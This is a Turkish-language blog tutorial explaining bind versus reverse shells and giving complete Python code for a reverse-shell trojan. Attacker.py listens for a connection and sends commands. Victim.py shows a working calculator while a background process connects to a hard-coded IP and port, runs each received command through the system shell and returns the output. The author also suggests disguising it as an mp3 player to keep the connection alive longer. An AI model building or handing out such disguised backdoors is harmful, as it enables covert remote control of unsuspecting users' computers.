Erdem YILDIZ

Siber Güvenlik Araştırmacısı
Python Geliştiricisi
Linux Hayranı

Python ile TCP Reverse Shell Yapma !!!

Merhaba arkadaşlar bugün python ile yazmış olduğum script'te verdiğiniz sabit ip adresini ve port bilgisini alarak bir server oluşturup diğer bilgisayar üzerinde komut çalıştırabilen script'in amacını , kodlarını ve video ile kullanımı göstereceğim.Haydi bir giriş yapalım...

Script'in çalışma mantığını anlatmadan önce Normal shell(bind) ile Reverse shell'den bahsetmek istiyorum.

Normal(bind) shell : Hedef, saldırganın seçtiği bir portu kendi üzerine gelen istekleri karşılık veren bir server çalıştırır.Daha sonra saldırgan açılan server'a bağlanarak hedef üzerinde kod çalıştırabilir bir hale gelir.Bu senaryo NAT'lanan networkler arkasında çalışmamaktadır.

Reverse shell : Saldırgan daha önce belirlediği ip adresi ve port bilgisini kullanarak kendi makinası üzerinde bir server çalıştırır.(Ip ve Port bilgisi hedef makine üzerinde çalışacak script'te daha önceden ayarlanmalıdr.). Daha sonra hedef , kurmuş olduğumuz server'a bağlanma istediği gönderir.Bu işlemden sonra hedef üzerinde kod çalıştırabiliriz.

Arkadaşlar bu scripteki amacım şuydu.Yerine göre local tabanlı yerine göre global ağ tabanlı bir saldırı senaryosu gerçekleştirmek istedim.Bu yüzden Reverse shell üzerine bir uygulama yaptım.Kod'larda görebileceğiniz gibi hedef makine bize daha önceden belirlenmiş bir ip-port bilgisi kullanarak bir istek atacak.Hedef açtığımız socket'e başarılı bir şekilde bağlandığında artık kendi makinamız hedef makina üzerinde komut çalıştırabileceğiz.Bu senaryonun biraz daha kapalı olması için hedef python tabanli bir hesap makinası çalıştırır fakat arka planda başka bir process çalıştırılır.Bu process sayesinde bilgisayarımıza bağlanma istediği gelir ve bizden gelen mesajları hedef üzerinde arka planda çalıştırır sonuçlarını yine bize gönderir.Bu saldırı kullanıcı hesap makinesini kapatana kadar gerçekleşir. (Burada ben hedef için hesap makinesi yaptım.Fakat bu mp3 player tarzı şeylerle değiştirilip socket'in daha uzun ömürlü kullanılması sağlanabilir)

Kötü kod yazdığım için üzgünüm.Daha iyi bir yazılımcı olmak için yazılım geliştirme ve problem çözme yeteneğim üzerinde hala uğraşmaktayım.
                                        # Attacker.py
                                        # -*- coding:utf-8 -*-
                                        import socket
                                        import subprocess
                                        import sys

                                        host = sys.argv[1]
                                        port = int(sys.argv[2])
                                        s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
                                        s.bind((host , port))
                                        s.listen(100)
                                        conn , addr = s.accept()
                                        print "[+] Bağlandı kuruldu {}".format(addr[0])

                                        while 1 :
                                            try:
                                                command = raw_input("#>")
                                                if command != "exit":
                                                    if command == "":
                                                        continue
                                                    conn.send(command)
                                                    result = conn.recv(4096)
                                                    print result

                                            except KeyboardInterrupt:
                                                conn.send("exit()")
                                                break
                                        s.close()



                                        
                                        # Victim.py
                                        # -*- coding:utf-8 -*-
                                        import subprocess
                                        import sys
                                        import socket
                                        from multiprocessing import Process

                                        def start():
                                            host = "192.168.1.21"
                                            port = 8888

                                            try:
                                                s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
                                                s.connect((host , port))
                                            except:
                                                s.close()
                                            while True:
                                                try:
                                                    command = str(s.recv(4096))
                                                    if command != "exit()":
                                                        run = subprocess.Popen(command , shell=True,stdout=subprocess.PIPE,stdin=subprocess.PIPE ,stderr=subprocess.PIPE)
                                                        tmp = run.stdout.read() + run.stderr.read()
                                                        s.send(tmp)
                                                    else:
                                                        break
                                                except KeyboardInterrupt:
                                                    break

                                            s.close()


                                        def calc():
                                            ask = raw_input("[+,-,*,/]Yapılacak işlemi giriniz :")
                                            s1  = input("1.sayı :")
                                            s2  = input("2.sayı :")
                                            if   ask == "+":
                                                print s1+s2
                                            elif ask == "-":
                                                print s1-s2

                                        if __name__ =="__main__":

                                            p = Process(target=start)
                                            p.start()

                                            while 1:
                                                try:
                                                    calc()
                                                except KeyboardInterrupt:
                                                    p.terminate()
                                                    break;


                                        

Yukarıda paylaşmış olduğum kodda bir sıkıntı yada yapılabilecek iyileştirmeler için bana ulaşabilirseniz çok sevinirim.Okuduğunuz için çok teşekkür ederim.Esen kalın :)